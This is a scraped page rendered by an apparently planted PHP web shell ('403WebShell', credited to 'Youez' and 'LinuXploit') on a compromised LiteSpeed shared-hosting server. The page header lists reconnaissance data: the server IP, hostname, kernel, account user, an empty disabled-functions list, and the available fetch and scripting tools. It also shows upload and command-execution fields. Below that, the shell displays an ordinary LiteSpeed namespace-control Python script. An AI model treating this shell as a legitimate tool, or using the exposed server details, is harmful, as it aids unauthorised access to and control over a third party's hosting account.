Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.118.162.166
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/lsns/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/lsns/bin/lsnsctl
#!/usr/bin/python3
import argparse, subprocess, sys, os, logging, json
import common
from stat import *
from subprocess import PIPE

def command_requires_uid(command):
    return command in ['disable-uid', 'enable-uid', 'set-min-uid', 'unmount']

def command_uses_uid(command):
    return command in ['disable-uid', 'enable-uid', 'list-disabled-uids', 'list-mount', 'set-min-uid', 'unmount']

def validate_environment():
    if os.getuid() != 0:
        common.fatal_error("this program must be run as root")
    common.ls_ok()
    
def init_pgm():
    common.init_logging()
    parser = argparse.ArgumentParser(prog="lsnsctl",
                                     description='LiteSpeed Namespace Control Program')
    parser.add_argument("command", type=str, help="The namespace command", 
                        choices=['disable-uid', 'enable-uid', 'get-min-uid', 'list-disabled-uids', 'list-mount', 'set-min-uid', 'unmount', 'unmount-all', 'version'])
    parser.add_argument("--uid", type=str, help="uid or user name for set-min-uid and unmount commands")
    parser.add_argument('-l', '--log', type=int, help='set logging level, 10=Debug, 20=Info, 30=Warning, 40=Error.  Default is Info')
    parser.add_argument('-q', '--quiet', action='store_true', help='turns off all logging and only outputs what is requested.')
    args = parser.parse_args()
    if not args.quiet or args.log != None:
        if args.log != None:
            logging.getLogger().setLevel(args.log)
        else:
            logging.getLogger().setLevel(logging.INFO)
        logging.debug("Entering lscgctl")

    validate_environment()
    command = args.command
    if command_requires_uid(command) and args.uid == None:
        common.fatal_error("You must specify a --uid for the %s command" % command)
    if command_uses_uid(command) and args.uid != None:
        user, found = common.get_user(args.uid)
    else:
        user = None
    if command == 'version':
        logging.info("Version: %s" % common.VERSION)
        if args.quiet:
            print(common.VERSION)
        sys.exit(0)
    return args, user


def command_get_min_uid(args):
    uid = common.get_min_uid()
    if args.quiet:
        print('%d' % uid)
    else:
        logging.info("Minimum UID: %d" % uid)


def command_set_min_uid(args, user):
    fullfile = common.get_conf_file('lsns.conf')
    try:
        f = open(fullfile, 'w')
    except Exception as err:
        common.fatal_error('Error opening %s: %s' % (fullfile, err))
    try:
        f.write('%d\n' % user.pw_uid)
        f.close()
    except Exception as err:
        common.fatal_error('Error writing %s: %s' % (fullfile, err))
    command_get_min_uid(args)


def get_mounted():
    result = subprocess.run(['mount'], stdout=PIPE, stderr=PIPE)
    if result.returncode != 0:
        common.fatal_error('Error in running: mount, errors: ' + result.stdout.decode('utf-8') + ' ' + result.stderr.decode('utf-8'))
    mounted = {}
    stdout_lines = result.stdout.decode('utf-8').split('\n')
    for line in stdout_lines:
        logging.debug('mount line: %s' % line)
        index = line.find("/var/lsns/")
        if index == -1:
            continue
        remainder = line[(index + 10):]
        logging.debug('  After prefix: %s' % remainder)
        components = remainder.split('/')
        if len(components) < 2:
            continue
        logging.debug('      UID: %s, vhost: %s' % (components[0], components[1]))
        if not components[0] in mounted:
            logging.debug('  New UID/vhost')
            mounted[components[0]] = [ components[1] ]
        elif components[1] in mounted[components[0]]:
            logging.debug('  Existing UID/vhost')
        else:
            logging.debug('  New vhost only')
            mounted[components[0]].append(components[1])
    return mounted


def command_list_mount(args, user):
    mounted = get_mounted()
    if user == None:
        print(json.dumps(mounted))
    else:
        if str(user.pw_uid) in mounted:
            mount = { str(user.pw_uid): mounted[str(user.pw_uid)]}
        else:
            mount = {}
        print(json.dumps(mount))



def get_disabled_uids(missing_ok):
    try:
        f = open(common.get_disabled_uid_file(), "r")
        uids_raw = f.read()
        f.close()
    except Exception as err:
        if not missing_ok:
            common.fatal_error('Error opening UID file: %s' % err)
        else:
            return {}
    lines = uids_raw.split('\n')
    uids = {}
    for line in lines:
        if line in uids or line == '':
            continue
        uids[line] = True
    if not missing_ok and len(uids) == 0:
        common.fatal_error("No uids in disabled UIDs file")
    return uids
    

def write_disabled_uids(uids):
    try:
        f = open(common.get_disabled_uid_file(), "w")
        for k in uids:
            f.write("%s\n" % k)
        f.close()
    except Exception as err:
        common.fatal_error('Error writing UID file: %s' % err)


def command_disable_uid(args, user):
    uids = get_disabled_uids(True)
    if str(user.pw_uid) in uids:
        if args.quiet:
            sys.exit(0)
        logging.info('UID %s already disabled' % str(user.pw_uid))
        sys.exit(0)
    uids[str(user.pw_uid)] = True
    write_disabled_uids(uids)
    common.restart_external([user], False)
    if not args.quiet:
        logging.info("Write %s to disabled uid list" % str(user.pw_uid))


def command_list_disabled_uids(args, user):
    uids = get_disabled_uids(True)
    uids = sorted(uids)
    print(json.dumps(uids))
    

def command_enable_uid(args, user):
    uids = get_disabled_uids(True)
    if not str(user.pw_uid) in uids:
        if args.quiet:
            sys.exit(0)
        logging.info('UID %s already enabled' % str(user.pw_uid))
        sys.exit(0)
    del uids[str(user.pw_uid)]
    if len(uids) == 0:
        os.remove(common.get_disabled_uid_file())
        if not args.quiet:
            logging.info('Deleting last disabled uid %s from file' % str(user.pw_uid))
    else:
        write_disabled_uids(uids)
        if not args.quiet:
            logging.info("Deleting %s from disabled uid list", str(user.pw_uid))
    common.restart_external([user], False)


def command_unmount(args, user):
    unmount_args = [common.get_bin_file('unmount_ns')]
    if args.command == 'unmount-all':
        unmount_args.append('-a')
    else:
        unmount_args.append('-u')
        unmount_args.append(str(user.pw_uid))
    result = subprocess.run(unmount_args, stdout=PIPE, stderr=PIPE)
    if result.returncode != 0:
        common.fatal_error('Error in running: unmount, errors: ' + result.stdout.decode('utf-8') + ' ' + result.stderr.decode('utf-8'))
    if not args.quiet:
        print(result.stdout.decode('utf-8'))
        print(result.stderr.decode('utf-8'))
    if args.command == 'unmount-all':
        common.restart_external([], True)
    else:
        common.restart_external([user], False)


def do_pgm(args, user):
    logging.debug("Entering lsnsctl, command: %s" % args.command)
    if 'get-min-uid' == args.command:
        command_get_min_uid(args)
    elif 'list-mount' == args.command:
        command_list_mount(args, user)
    elif 'disable-uid' == args.command:
        command_disable_uid(args, user)
    elif 'enable-uid' == args.command:
        command_enable_uid(args, user)
    elif 'list-disabled-uids' == args.command:
        command_list_disabled_uids(args, user)
    elif 'set-min-uid' == args.command:
        command_set_min_uid(args, user)
    elif 'unmount' == args.command or 'unmount-all' == args.command:
        command_unmount(args, user)
    logging.debug("Exiting lsnsctl")


def main():
    args, user = init_pgm()
    return do_pgm(args, user)
  
if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit